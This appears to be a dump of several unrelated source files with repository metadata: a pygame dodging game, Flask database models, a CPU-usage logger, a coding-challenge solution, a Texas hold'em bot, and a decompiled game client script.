'itkLightObject') -> "itkInPlaceImageFilterIVF43IVF43 *": """itkInPlaceImageFilterIVF43IVF43_cast(itkLightObject obj) -> itkInPlaceImageFilterIVF43IVF43""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIVF43IVF43_cast(obj) def in_place_image_filter(*args, **kwargs): """Procedural interface for InPlaceImageFilter""" import itk instance = itk.InPlaceImageFilter.New(*args, **kwargs) return instance.__internal_call__() def in_place_image_filter_init_docstring(): import itk import itkTemplate if isinstance(itk.InPlaceImageFilter, itkTemplate.itkTemplate): in_place_image_filter.__doc__ = itk.InPlaceImageFilter.values()[0].__doc__ else: in_place_image_filter.__doc__ = itk.InPlaceImageFilter.__doc__
[ "pinar.turkyilmaz@estudiant.upc.edu" ]
pinar.turkyilmaz@estudiant.upc.edu
7769f940c0f1da313194a71f11023fba6e738523
6338c2a2158a3140382169b436d7b575bc29ab17
/Pygame/InvaSion_codigo_fuente.py
94b9f7e91cf8a62fd755b3fe5dc24897b9a9385a
[]
no_license
epichardoq/DS-Course
22990ddc24225f2989f52607536f0cbca50205d3
64302246b8466a02ab603edcccb00fff6a677a42
refs/heads/master
2022-04-07T22:02:45.252730
2020-03-20T03:12:34
2020-03-20T03:12:34
220,868,467
0
0
null
null
null
null
UTF-8
Python
false
false
8,051
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Jan 2 20:16:34 2020 @author: emmanuel """ import pygame, random, sys from pygame.locals import * ANCHOVENTANA = 900 ALTOVENTANA = 900 COLORVENTANA = (255, 255, 255) COLORTEXTO = (130, 130,130) COLORFONDO = (0, 255, 255) FPS = 40 TAMAÑOMINMISIL = 10 TAMAÑOMAXMISIL = 40 TAMAÑOMINNUBE = 50 TAMAÑOMAXNUBE = 90 VELOCIDADMINMISIL = 1 VELOCIDADMAXMISIL = 8 VELOCIDADMINNUBE = 1 VELOCIDADMAXNUBE = 3 TASANUEVOMISIL = 6 TASANUEVONUBE=12 TASAMOVIMIENTOJUGADOR = 5 def terminar(): pygame.quit() sys.exit() def esperarTeclaJugador(): while True: for evento in pygame.event.get(): if evento.type == QUIT: terminar() if evento.type == KEYDOWN: if evento.key == K_ESCAPE: # Quita al presionar ESCAPE terminar() return def jugadorGolpeaMisil(rectanguloJugador, misiles): for v in misiles: if rectanguloJugador.colliderect(v['rect']): return True return False def dibujarTexto(texto, font, superficie, x, y): objetotexto = font.render(texto, 1, COLORTEXTO) rectangulotexto = objetotexto.get_rect() rectangulotexto.topleft = (x, y) superficie.blit(objetotexto, rectangulotexto) # establece un pygame, la ventana y el cursor del ratón pygame.init() relojPrincipal = pygame.time.Clock() superficieVentana = pygame.display.set_mode((ANCHOVENTANA, ALTOVENTANA)) pygame.display.set_caption('AprenderPython - InvaSion') pygame.mouse.set_visible(False) # establece los fonts font = pygame.font.SysFont(None, 48) # establece los sonidos gameOverSound = pygame.mixer.Sound('juegoterminado.wav') pygame.mixer.music.load('musicajuego.mp3') # establece las imagenes playerImage = pygame.image.load('war_cursovideojuegos-python_opt.png') rectanguloJugador = playerImage.get_rect() baddieImage = pygame.image.load('misil_cursovideojuegos-python_opt2.png') nubeImage = pygame.image.load('nube-war_cursovideojuegos-python.png') # Muestra la pantalla inicial dibujarTexto('AprenderPython - InvaSion', font, superficieVentana, (ANCHOVENTANA / 3), (ALTOVENTANA / 3)) dibujarTexto('Presione una tecla para comenzar el juego', font, superficieVentana, (ANCHOVENTANA / 3) - 180, (ALTOVENTANA / 3) + 50) pygame.display.update() esperarTeclaJugador() puntajeMax = 0 while True: # establece el comienzo del juego misiles = [] nubes = [] puntaje = 0 rectanguloJugador.topleft = (ANCHOVENTANA / 2, ALTOVENTANA - 50) moverIzquierda = moverDerecha = moverArriba = moverAbajo = False trucoReversa = trucoLento = False contadorAgregarMisil = 0 contadorAgregarNube = 0 pygame.mixer.music.play(-1, 0.0) while True: # el ciclo del juego se mantiene mientras se este jugando puntaje += 1 # incrementa el puntaje for evento in pygame.event.get(): if evento.type == QUIT: terminar() if evento.type == KEYDOWN: if evento.key == ord('z'): trucoReversa = True if evento.key == ord('x'): trucoLento = True if evento.key == K_LEFT or evento.key == ord('a'): moverDerecha = False moverIzquierda = True if evento.key == K_RIGHT or evento.key == ord('d'): moverIzquierda = False moverDerecha = True if evento.key == K_UP or evento.key == ord('w'): moverAbajo = False moverArriba = True if evento.key == K_DOWN or evento.key == ord('s'): moverArriba = False moverAbajo = True if evento.type == KEYUP: if evento.key == ord('z'): trucoReversa = False puntaje = 0 if evento.key == ord('x'): trucoLento = False puntaje = 0 if evento.key == K_ESCAPE: terminar() if evento.key == K_LEFT or evento.key == ord('a'): moverIzquierda = False if evento.key == K_RIGHT or evento.key == ord('d'): moverDerecha = False if evento.key == K_UP or evento.key == ord('w'): moverArriba = False if evento.key == K_DOWN or evento.key == ord('s'): moverAbajo = False if evento.type == MOUSEMOTION: # Si se mueve el ratón, este se mueve adonde el cursor esté. rectanguloJugador.move_ip(evento.pos[0] - rectanguloJugador.centerx, evento.pos[1] - rectanguloJugador.centery) # Añade misiles en la parte superior de la pantalla, de ser necesarios. if not trucoReversa and not trucoLento: contadorAgregarMisil += 1 if contadorAgregarMisil == TASANUEVOMISIL: contadorAgregarMisil = 0 baddieSize = random.randint(TAMAÑOMINMISIL, TAMAÑOMAXMISIL) newBaddie = {'rect': pygame.Rect(random.randint(0, ANCHOVENTANA-baddieSize), 0 - baddieSize, baddieSize, baddieSize), 'speed': random.randint(VELOCIDADMINMISIL, VELOCIDADMAXMISIL), 'surface':pygame.transform.scale(baddieImage, (baddieSize, baddieSize)), } misiles.append(newBaddie) # Añade nubes en la parte superior de la pantalla if not trucoReversa and not trucoLento: contadorAgregarNube += 1 if contadorAgregarNube == TASANUEVONUBE: contadorAgregarNube = 0 baddieSize1 = random.randint(TAMAÑOMINNUBE, TAMAÑOMAXNUBE) newBaddie1 = {'rect': pygame.Rect(random.randint(0, ANCHOVENTANA-baddieSize1), 0 - baddieSize1, baddieSize1, baddieSize1), 'speed': random.randint(VELOCIDADMINNUBE, VELOCIDADMAXNUBE), 'surface':pygame.transform.scale(nubeImage, (baddieSize1, baddieSize1)), } nubes.append(newBaddie1) # Mueve el jugador. if moverIzquierda and rectanguloJugador.left > 0: rectanguloJugador.move_ip(-1 * TASAMOVIMIENTOJUGADOR, 0) if moverDerecha and rectanguloJugador.right < ANCHOVENTANA: rectanguloJugador.move_ip(TASAMOVIMIENTOJUGADOR, 0) if moverArriba and rectanguloJugador.top > 0: rectanguloJugador.move_ip(0, -1 * TASAMOVIMIENTOJUGADOR) if moverAbajo and rectanguloJugador.bottom < ALTOVENTANA: rectanguloJugador.move_ip(0, TASAMOVIMIENTOJUGADOR) # Mueve el cursor del ratón hacia el jugador. pygame.mouse.set_pos(rectanguloJugador.centerx, rectanguloJugador.centery) # Mueve los misiles hacia abajo. for b in misiles: if not trucoReversa and not trucoLento: b['rect'].move_ip(0, b['speed']) elif trucoReversa: b['rect'].move_ip(0, -5) elif trucoLento: b['rect'].move_ip(0, 1) # Mueve las nubes hacia abajo. for b in nubes: b['rect'].move_ip(0, b['speed']) # Elimina los misiles que han caido por debajo. for b in misiles[:]: if b['rect'].top > ALTOVENTANA: misiles.remove(b) # Elimina las nubes que han caido por debajo. for b in nubes[:]: if b['rect'].top > ALTOVENTANA: nubes.remove(b) # Dibuja el mundo del juego en la ventana. superficieVentana.fill(COLORFONDO) # Dibuja el puntaje y el puntaje máximo dibujarTexto('Puntos: %s' % (puntaje), font, superficieVentana, 10, 0) dibujarTexto('Records: %s' % (puntajeMax), font, superficieVentana, 10, 40) # Dibuja el rectángulo del jugador superficieVentana.blit(playerImage, rectanguloJugador) # Dibuja cada misil for b in misiles: superficieVentana.blit(b['surface'], b['rect']) # Dibuja cada nube for b in nubes: superficieVentana.blit(b['surface'], b['rect']) pygame.display.update() # Verifica si algún misil impactó en el jugador. if jugadorGolpeaMisil(rectanguloJugador, misiles): if puntaje > puntajeMax: puntajeMax = puntaje # Establece nuevo puntaje máximo break relojPrincipal.tick(FPS) # Frena el juego y muestra "Juego Terminado" pygame.mixer.music.stop() gameOverSound.play() dibujarTexto('Juego Terminado', font, superficieVentana, (ANCHOVENTANA / 3)-40, (ALTOVENTANA / 3)) dibujarTexto('Presione una tecla para repetir.', font, superficieVentana, (ANCHOVENTANA / 3) - 150, (ALTOVENTANA / 3) + 50) pygame.display.update() esperarTeclaJugador() gameOverSound.stop()
[ "noreply@github.com" ]
noreply@github.com
59a3ac71665f4cd796c5dfc0dae8754f0a8297b0
14ea14f84079c7c7f306a0c68c9b59df1d266437
/website/models.py
75fcf6a7b758023ed2c8e836d60eb700136b0fe7
[]
no_license
KeerMom/COSC6353-Project
38a42d21607f34ba8db7e4aedc7ba2a609ccd641
37e2456e2df6cb301a17afb374d04f858cade9ee
refs/heads/main
2023-07-02T23:50:50.833117
2021-08-06T21:44:39
2021-08-06T21:44:39
382,210,595
2
0
null
null
null
null
UTF-8
Python
false
false
1,199
py
from . import db from flask_login import UserMixin # from sqlalchemy.sql import func class User(db.Model, UserMixin): id = db.Column(db.Integer, primary_key=True) email = db.Column(db.String(150), unique=True) password = db.Column(db.String(150)) first_name = db.Column(db.String(50)) user_profile = db.relationship('Profile') user_quote = db.relationship('Quote') class Profile(db.Model): id = db.Column(db.Integer, primary_key=True) full_name = db.Column(db.String(50)) address1 = db.Column(db.String(100)) address2 = db.Column(db.String(100)) city = db.Column(db.String(100)) state = db.Column(db.String(2)) zipcode = db.Column(db.String(9)) user_id = db.Column(db.Integer, db.ForeignKey('user.id')) class Quote(db.Model): id = db.Column(db.Integer, primary_key=True) # date = db.Column(db.DateTime(timezone=True), default=func.now()) date = db.Column(db.String(100)) delivery_address = db.Column(db.String(100)) gallons_requested = db.Column(db.String(100)) suggest_price = db.Column(db.String(10)) total_price = db.Column(db.String(100)) user_id = db.Column(db.Integer, db.ForeignKey('user.id'))
[ "xqliu.g@gmail.com" ]
xqliu.g@gmail.com
f95b1db477221b266acb3b6625b8e046e4a0551d
2c21780619518259596aa240232ce51f2588f53e
/sample.py
61afab7d2dbb44bbea5b798964c82931472f37d6
[]
no_license
miahuangyanyan/weibo_flask
e49a1eb2d773df2e827cfffafd8162280f6b7501
6d7574a05b48abe66b45c80b4262929a1f3296ee
refs/heads/master
2021-09-02T23:24:23.150992
2018-01-04T03:17:32
2018-01-04T03:17:32
109,588,713
0
0
null
null
null
null
UTF-8
Python
false
false
1,332
py
#!/usr/bin/env python # -*- coding: UTF-8 -*- """ version: python2.7 software: PyCharm file: monitor.py time: 2017/3/5 19:56 """ import psutil import sqlite3 import time db_name = 'mydb.db' def create_db(): # 连接 conn = sqlite3.connect(db_name) c = conn.cursor() # 创建表 c.execute('''DROP TABLE IF EXISTS cpu''') # 删除旧表,如果存在(因为这是临时数据) c.execute( '''CREATE TABLE cpu (id INTEGER PRIMARY KEY AUTOINCREMENT, insert_time text,cpu1 float, cpu2 float, cpu3 float, cpu4 float)''') # 关闭 conn.close() def save_to_db(data): '''参数data格式:['00:01',3.5, 5.9, 0.7, 29.6]''' # 建立连接 conn = sqlite3.connect(db_name) c = conn.cursor() # 插入数据 c.execute('INSERT INTO cpu(insert_time,cpu1,cpu2,cpu3,cpu4) VALUES (?,?,?,?,?)', data) # 提交!!! conn.commit() # 关闭连接 conn.close() # 创建表 create_db() # 通过循环,对系统进行监控 while True: # 获取系统cpu使用率(每隔1秒) cpus = psutil.cpu_percent(interval=1, percpu=True) # 获取系统时间(只取分:秒) t = time.strftime('%M:%S', time.localtime()) # 保存到数据库 save_to_db((t, cpus[0], cpus[1], cpus[2], cpus[3])) print('save a data')
[ "245053992@qq.com" ]
245053992@qq.com
62e40235228c53143cd46bc282718e6f767e019d
c3dc08fe8319c9d71f10473d80b055ac8132530e
/challenge-107/roger-bell-west/python/ch-1.py
e638dd33c91314e47cd0245efcf95f3d3d7ef792
[]
no_license
southpawgeek/perlweeklychallenge-club
d4b70d9d8e4314c4dfc4cf7a60ddf457bcaa7a1e
63fb76188e132564e50feefd2d9d5b8491568948
refs/heads/master
2023-01-08T19:43:56.982828
2022-12-26T07:13:05
2022-12-26T07:13:05
241,471,631
1
0
null
2020-02-18T21:30:34
2020-02-18T21:30:33
null
UTF-8
Python
false
false
703
py
#! /usr/bin/python3 def sdn(count): r=list() n=10 while len(r) < count: ns=[int(i) for i in "{:d}".format(n)] d=[0]*10 for i in ns: d[i]+=1 sd=True for i in range(len(ns)): if d[i] != ns[i]: sd=False break if sd and len(ns)<10: for i in range(len(ns),10): if d[i] != 0: sd=False break if sd: r.append(n) n+=10 return r import unittest class TestSdn(unittest.TestCase): def test_ex1(self): self.assertEqual(sdn(3),[1210, 2020, 21200],'example 1') unittest.main()
[ "roger@firedrake.org" ]
roger@firedrake.org
e00f1ced658aee28cc3ec94cf7fab51e0163e962
f552e437c63d14dda5c707a34856481a7b9acb99
/alg_CEJal.py
2d673d8151f793ff310cbecd935199259497da69
[]
no_license
jasonTu/dexas_ai_sc
344847fd71f541d414cb2fe5f83be3fe29c14176
8ae1aaa0ff019ad596217ad87e0381fc7807f257
refs/heads/master
2021-07-13T01:05:16.483657
2020-05-29T03:33:10
2020-05-29T03:33:10
140,309,120
0
0
null
null
null
null
UTF-8
Python
false
false
17,377
py
#! /usr/bin/env python # -*- coding:utf-8 -*- import time import json import sys import traceback import random from termcolor import colored #from websocket import create_connection from importlib import import_module from evaluepoker import EvaluePoker from deuces import Card import datetime class DavidAction(): def __init__ (self,action,data,basic_info): self.action = action self.data = data self.basic_info = basic_info self.myname = '' self.mychips = 0 self.currentbet = 1 self.myseat = 0 self.mycards = [] self.boardcards = [] self.stage = '' self.players_count = 0 self.playercount = 0 self.cur_round = 0 self.cur_round_action = '' self.prob = 0 dsymbols = { 'S':colored(u"\u2660".encode("utf-8", 'ignore'),"green"), 'H':colored(u"\u2764".encode("utf-8", 'ignore'), "red"), 'D':colored(u"\u2666".encode("utf-8", 'ignore'), "red"), 'C':colored(u"\u2663".encode("utf-8", 'ignore'),"green") } #Tuning the radio self.total_chips = 1000 self.allin_pro = 0.6 self.bet_radio = 0.5 self.non_deal_range = 0.6 self.deal_range = 4 self.check_other_bet_radio = 0.05 self.check_smallchip_radio = 0.2 self.check_smallbet_radio = 0.2 def CheckIfSmallChip(self, chip_count): if(chip_count > (self.check_smallchip_radio * self.mychips)): return False #小注 return True def CheckIfSmallBet(self, bet_count): count = int(self.mychips/self.currentbet) if(bet_count> (count*self.check_smallbet_radio*self.currentbet)): return False #小的加注 return True def CheckOtherPlayer(self): check_count = 0 small_call_count = 0 large_call_count = 0 small_bet_count = 0 large_bet_count = 0 cur_round_str = 'round%s'%self.cur_round print colored("current round","yellow"), cur_round_str if(not self.data.has_key(cur_round_str)): return False round_info = self.data[cur_round_str] for key in round_info: play_info = round_info[key] print "key = ", key,"\n", "play_info = ", play_info if 'seat' in play_info: if(play_info['seat'] < self.myseat and self.stage in play_info): action_info = play_info[self.stage][-1] action_name = action_info[0] bet_count = action_info[1] rest_clips = action_info[2] if(action_name == 'check'): check_count +=1 if(action_name == 'call' ): if(self.CheckIfSmallChip(bet_count)): small_call_count +=1 else: large_call_count +=1 if(action_name == 'bet' ): if(self.CheckIfSmallBet(bet_count)): small_bet_count +=1 else: large_bet_count +=1 if(action_name == 'raise' ): large_bet_count += 1 print "large_call_count = ", large_call_count, "large_bet_count = ", large_bet_count if(large_call_count >=2 or large_bet_count >=2 or (large_call_count+large_bet_count)>=2): return False else: return True def MyEvaCard(self): if(self.stage == 'Deal' or len(self.boardcards) ==0): eva = EvaluePoker() prob = eva.handle_hold_rank(self.mycards) self.prob = prob else: eva = EvaluePoker() prob = eva.handle_stage_rank(self.stage.lower(),self.playercount,self.mycards, self.boardcards ) self.prob = prob #print "self.prob = ", self.prob return True def get_cards_string(self, cards): allcards = '' for card in cards: card = str(card) if card[0] == 'T': newstr = '[10' + self.cardsymbols[card[1]] + '], ' else: newstr = '[' + card[0] + self.cardsymbols[card[1]] + '], ' allcards += newstr return allcards def handle_deal_stage(self): eva = EvaluePoker() rank = eva.handle_hold_rank(self.mycards) basic_info = self.basic_info action = 'call' amount = basic_info['big_blind'] print 'My poke Rank: ', rank , " Currnt bet", basic_info['cur_bet'], " Currnt BB: ", basic_info['big_blind'], "my current chips: ", basic_info['my_clips'] sys.stdout.flush() if rank == 1 and basic_info['cur_players'] <=5: action = 'bet' if basic_info['round_bet'] <= basic_info['my_clips']: amount = basic_info['round_bet'] elif basic_info['my_clips']>=200 and basic_info['big_blind']<= basic_info['my_clips']: amount = 200; else: amount = basic_info['my_clips'] elif rank == 1 and basic_info['cur_players'] >5: if basic_info['cur_bet'] <=200 and basic_info['my_clips']>=200: action = 'call' else: action = 'fold' amount = 0 if rank ==2 or rank == 3 or rank == 4: if basic_info['cur_bet'] <=2*basic_info['big_blind'] and basic_info['cur_players'] <=10: action = 'call' elif basic_info['cur_bet'] <=3*basic_info['big_blind'] and basic_info['cur_players'] <=5: action = 'call' elif basic_info['cur_bet'] <=4.5*basic_info['big_blind'] and basic_info['cur_players'] <=3: action = 'call' else: action = 'fold' amount = 0 if rank == 5 or rank == 6: if basic_info['cur_bet'] <=2*basic_info['big_blind'] and basic_info['cur_players'] <=8 and basic_info['big_blind']<= 640: action = 'call' elif basic_info['cur_bet'] <=2*(basic_info['big_blind']+basic_info['small_blind']) and basic_info['cur_players'] <=3 and basic_info['big_blind']<=1280: action = 'call' else: action = 'fold' amount = 0 if rank == 7 or rank ==8: if basic_info['cur_bet'] <=(basic_info['big_blind']+basic_info['small_blind']) and basic_info['cur_players'] <=6 and basic_info['big_blind']<=320: action = 'call' else: action = 'fold' amount = 0 if rank ==9: if basic_info['cur_bet'] <=basic_info['big_blind'] and basic_info['cur_players'] <=4 and basic_info['totalbet']<=(basic_info['cur_players']-1)*basic_info['big_blind'] and basic_info['big_blind']<=320: print "***************Current totalbet =", basic_info['totalbet'] action = 'call' else: action = 'fold' amount = 0 if action == 'fold' and self.currentbet == 0: #when in big blind pos, will fold in many case, here currentbet equals minBet print 'Reset fold to check for current bet is zero' action = 'check' return action, amount def handle_flop_stage(self): basic_info = self.basic_info eva = EvaluePoker() #print "time = ", datetime.datetime.now() self.prob = 0 self.prob = eva.handle_stage_rank('flop', basic_info['cur_players'], basic_info['my_cards'], basic_info['board_cards']) #print "time = ", datetime.datetime.now() action, amount = self.EvaluateAction() print "RequestAction ", self.action, "MyProb:", self.prob , " MyAction:", action, " Amount:", amount, " Current min bet:", basic_info['cur_bet']," Currnt BB:", basic_info['big_blind'], " MyChips:", basic_info['my_clips'] return action, amount def handle_turn_stage(self): basic_info = self.basic_info eva = EvaluePoker() self.prob = 0 self.prob = eva.handle_stage_rank('turn', basic_info['cur_players'], basic_info['my_cards'], basic_info['board_cards']) action, amount = self.EvaluateAction() print "RequestAction ", self.action, "MyProb:", self.prob , " MyAction:", action, " Amount:", amount, " Current min bet:", basic_info['cur_bet']," Currnt BB:", basic_info['big_blind'], " MyChips:", basic_info['my_clips'] return action, amount def handle_river_stage(self): basic_info = self.basic_info eva = EvaluePoker() self.prob = 0 self.prob = eva.handle_stage_rank('river', basic_info['cur_players'], basic_info['my_cards'], basic_info['board_cards']) action, amount = self.EvaluateAction() print "RequestAction ", self.action, "MyProb:", self.prob , " MyAction:", action, " Amount:", amount, " Current min bet:", basic_info['cur_bet']," Currnt BB:", basic_info['big_blind'], " MyChips:", basic_info['my_clips'] return action, amount def EvaluateAction(self): if(self.action == "__bet" or self.action == "__action"): if self.currentbet == 0: #ce-jal if it's the last one to take action, be aggressive if self.basic_info['last_action_diff'] <= 0 and self.basic_info['cur_action_check'] == 1: print "Use last_action_diff index to take aciton!" big_blind = self.basic_info['big_blind'] mod1 = self.mychips / big_blind action = "bet" amount = 0 if self.prob >= 0.5 and mod1 >=2 : amount = big_blind*mod1/2 elif self.prob >= 0.3 and mod1 > 4: amount = big_blind*2 elif self.prob >= 0.2 and mod1 >=2 : amount = big_blind if amount > 0 : print "Nobody bet, I bet!" return action, amount return "check",0 if(self.prob > 0.92): max_bet_mod1 = self.mychips / self.currentbet pro_max_bet_mod1 = int(max_bet_mod1 * self.bet_radio) print ">0.92 max_bet_mod1 = ",max_bet_mod1, " self.currentbet = ",self.currentbet if(pro_max_bet_mod1>1): max_bet_count = random.randint(pro_max_bet_mod1, max_bet_mod1) * self.currentbet else: max_bet_count = self.currentbet return "bet", max_bet_count if(self.prob > 0.7): max_bet_mod1 = self.mychips / self.currentbet pro_max_bet_mod1 = int(max_bet_mod1 * self.bet_radio) print ">0.7 max_bet_mod1 = ",max_bet_mod1, " self.currentbet = ",self.currentbet if(pro_max_bet_mod1>1): max_bet_count = random.randint(int(pro_max_bet_mod1/3), int(max_bet_mod1/1.5)) * self.currentbet else: max_bet_count = self.currentbet return "bet", max_bet_count if(self.prob <= 0.7 and self.prob >= 0.3): if(self.prob >= self.non_deal_range): max_bet_mod1 = self.mychips/ self.currentbet pro_max_bet_mod1 = int(max_bet_mod1 * self.bet_radio) print "0.3-0.7 max_bet_mod1 = ",max_bet_mod1, " self.currentbet = ",self.currentbet if(pro_max_bet_mod1>1): max_bet_count = random.randint(int(pro_max_bet_mod1/4), int(pro_max_bet_mod1/2)) * self.currentbet else: max_bet_count = self.currentbet return "bet", max_bet_count else: if self.CheckOtherPlayer(): return "call",0 else: return "fold",0 if(self.prob>=0.2 and self.prob <0.3): if self.basic_info['cur_turn'] == "Flop": num = 3 elif self.basic_info['cur_turn'] == "Turn": num = 5 else: num = 7 print "self.playercount = ",self.playercount, "num = ", num, "************self.basic_info['totalbet'] = ", self.basic_info['totalbet'] if self.playercount <= 3 and self.basic_info['totalbet'] <= (num*self.basic_info['big_blind']) and self.basic_info['big_blind']<=320: return "call",0 else: return "fold",0 if(self.prob<0.2): print "************self.basic_info['totalbet'] = ", self.basic_info['totalbet'] if self.playercount <= 2 and self.basic_info['totalbet'] <= (4*self.basic_info['big_blind']) and self.basic_info['big_blind']<=160: return "call",0 else: return "fold",0 def getBasicInfos(self): self.myname = self.basic_info['myname'] self.mychips = self.basic_info['my_clips'] self.currentbet = self.basic_info['cur_bet'] self.myseat = self.basic_info['cur_seat'] self.stage = self.basic_info['cur_turn'] self.cur_round = self.basic_info['total_round'] self.playercount = self.basic_info['cur_players'] self.mycards = self.basic_info['my_cards'] self.boardcards = self.basic_info['board_cards'] #print "myname = ",self.myname #print "mychips = ",self.mychips #print "self.currentbet = ",self.currentbet #print "self.myseat = ",self.myseat #print "self.stage = ",self.stage #print "self.cur_round = ",self.cur_round #print "self.playercount= ",self.playercount #print "self.mycards = ",self.mycards #print "self.boardcards = ",self.boardcards #self.get_cards_string(self.boardcards) #sys.stdout.flush() if (self.myname == '') or (self.mychips == '') or (self.myname == '') or (self.currentbet == '') or (self.myseat == '') or (self.stage == '') or (self.cur_round == '') or (self.playercount == '') or (self.mycards == ''): return 0 else: return 1 def PlayPoker(self): try: if self.action == "__start_reload": return({ "eventName": "__reload" }) if (self.action == "__bet") or (self.action == "__action"): if self.stage == 'Deal': #print "Deal =============>> ",datetime.datetime.now() action, amount = self.handle_deal_stage() elif self.stage == 'Flop': #print "Flop =============>> ",datetime.datetime.now() action, amount = self.handle_flop_stage() elif self.stage == 'Turn': #print "Turn =============>> ",datetime.datetime.now() action, amount = self.handle_turn_stage() elif self.stage == 'River': #print "River ============>> ",datetime.datetime.now() action, amount = self.handle_river_stage() if action == 'fold' and self.basic_info['cur_action_check'] == 1 : action = 'check' print '####ce-jal: make fold as check' #print "Action complete <<== ",datetime.datetime.now(), 'action = ',action, " amount = ",amount if action == 'bet': return({"eventName": "__action", "data": {"action": action, "amount": amount}}) else: return({"eventName": "__action", "data": {"action": action}}) except Exception, e: print "Exception : ",e if(self.action == "__action"): return({ "eventName": "__action", "data": { "action": "fold", } }) elif (self.action == "__bet"): return({ "eventName": "__action", "data": { "action": "call", } }) elif self.action == "__start_reload": return({ "eventName": "__reload" }) def takeAction(action, data, basic_info): #Analyze my cards handle = DavidAction(action, data, basic_info) result = handle.getBasicInfos() ret = handle.PlayPoker() return ret
[ "jason_tu@puyacn.com" ]
jason_tu@puyacn.com
cd317c87a7351bef4e25f07e011eef84eac127a7
84b902dd4eb690f525911a903377573b007a0bdb
/ch04/mymodules/setup.py
53892179aabea1cf67defbc32b92e89fb4b882c7
[]
no_license
lorajoler/HeadFirstPython
e33e83693bb428a46c8dc75dd65bd87d5b3c82a1
f9d0719a7ec5ace63f488e533e0dc0d91a1f7962
refs/heads/master
2020-04-06T15:49:54.334177
2019-04-04T11:39:50
2019-04-04T11:39:50
129,223,901
0
0
null
null
null
null
UTF-8
Python
false
false
276
py
from setuptools import setup setup ( name = 'vsearch', version = '1.0', description = 'The Head First Python Search Tools', author = 'HF Python 2e', author_email = 'hfpy2e@gmail.com', url = 'headfirstpython.com', py_modules = ['vsearch'], )
[ "lorajoler@paranoici.org" ]
lorajoler@paranoici.org
7d201b6089d5c2d7d4f81efd39e2d8b13d4eb4b8
bb33e6be8316f35decbb2b81badf2b6dcf7df515
/source/res/scripts/client/circularflyer.py
9a0d228924714e4ed8bf49c022803e589020bcde
[]
no_license
StranikS-Scan/WorldOfTanks-Decompiled
999c9567de38c32c760ab72c21c00ea7bc20990c
d2fe9c195825ececc728e87a02983908b7ea9199
refs/heads/1.18
2023-08-25T17:39:27.718097
2022-09-22T06:49:44
2022-09-22T06:49:44
148,696,315
103
39
null
2022-09-14T17:50:03
2018-09-13T20:49:11
Python
UTF-8
Python
false
false
4,298
py
# Python bytecode 2.7 (decompiled from Python 2.7) # Embedded file name: scripts/client/CircularFlyer.py import math import BigWorld import AnimationSequence from Math import Matrix, Vector3 from debug_utils import LOG_CURRENT_EXCEPTION from vehicle_systems.stricted_loading import makeCallbackWeak import SoundGroups class CircularFlyer(BigWorld.UserDataObject): def __init__(self): BigWorld.UserDataObject.__init__(self) self.__prevTime = BigWorld.time() self.__angularVelocity = 2 * math.pi / self.rotationPeriod if not self.rotateClockwise: self.__angularVelocity *= -1 self.__currentAngle = 0.0 self.__updateCallbackId = None self.__model = None self.__modelMatrix = None self.__sound = None self.__animator = None BigWorld.loadResourceListBG((self.modelName, self.pixieName), makeCallbackWeak(self.__onResourcesLoaded)) return def __del__(self): self.__clear() def __clear(self): if self.__updateCallbackId is not None: BigWorld.cancelCallback(self.__updateCallbackId) self.__updateCallbackId = None if self.__sound is not None: self.__sound.stop() self.__sound.releaseMatrix() self.__sound = None if self.__model is not None: self.__animator = None BigWorld.delModel(self.__model) self.__model = None return def __onResourcesLoaded(self, resourceRefs): if self.guid not in BigWorld.userDataObjects: return else: self.__clear() if self.modelName in resourceRefs.failedIDs: return try: self.__model = resourceRefs[self.modelName] self.__modelMatrix = Matrix() self.__modelMatrix.setIdentity() servo = BigWorld.Servo(self.__modelMatrix) self.__model.addMotor(servo) BigWorld.addModel(self.__model) if self.actionName != '': clipResource = self.__model.deprecatedGetAnimationClipResource(self.actionName) if clipResource: spaceID = BigWorld.player().spaceID loader = AnimationSequence.Loader(clipResource, spaceID) animator = loader.loadSync() animator.bindTo(AnimationSequence.ModelWrapperContainer(self.__model, spaceID)) animator.start() self.__animator = animator if self.pixieName != '' and self.pixieName not in resourceRefs.failedIDs: pixieNode = self.__model.node(self.pixieHardPoint) pixieNode.attach(resourceRefs[self.pixieName]) if self.soundName != '': self.__sound = SoundGroups.g_instance.getSound3D(self.__modelMatrix, self.soundName) except Exception: LOG_CURRENT_EXCEPTION() self.__model = None return self.__prevTime = BigWorld.time() self.__update() return def __update(self): self.__updateCallbackId = None self.__updateCallbackId = BigWorld.callback(0.0, self.__update) curTime = BigWorld.time() dt = curTime - self.__prevTime self.__prevTime = curTime self.__currentAngle += self.__angularVelocity * dt if self.__currentAngle > 2 * math.pi: self.__currentAngle -= 2 * math.pi elif self.__currentAngle < -2 * math.pi: self.__currentAngle += 2 * math.pi radialPosition = Vector3(self.radius * math.sin(self.__currentAngle), 0, self.radius * math.cos(self.__currentAngle)) modelYaw = self.__currentAngle if self.rotateClockwise: modelYaw += math.pi / 2 else: modelYaw -= math.pi / 2 localMatrix = Matrix() localMatrix.setRotateY(modelYaw) localMatrix.translation = radialPosition self.__modelMatrix.setRotateYPR((self.yaw, self.pitch, self.roll)) self.__modelMatrix.translation = self.position self.__modelMatrix.preMultiply(localMatrix) return
[ "StranikS_Scan@mail.ru" ]
StranikS_Scan@mail.ru
377b54e77c82a1e6af952880cf1817eb944f7fe3
ea7f0b643d6e43f432eb49ef7f0c62899ebdd026
/conans/test/util/output_test.py
65a29d32d1f4ccfd5bd5c286a3c2e77fba71b7c3
[ "MIT" ]
permissive
jbaruch/conan
0b43a4dd789547bd51e2387beed9095f4df195e4
263722b5284828c49774ffe18d314b24ee11e178
refs/heads/develop
2021-01-19T21:15:37.429340
2017-04-18T14:27:33
2017-04-18T14:27:33
88,635,196
0
1
null
2017-04-18T14:34:03
2017-04-18T14:34:02
null
UTF-8
Python
false
false
2,625
py
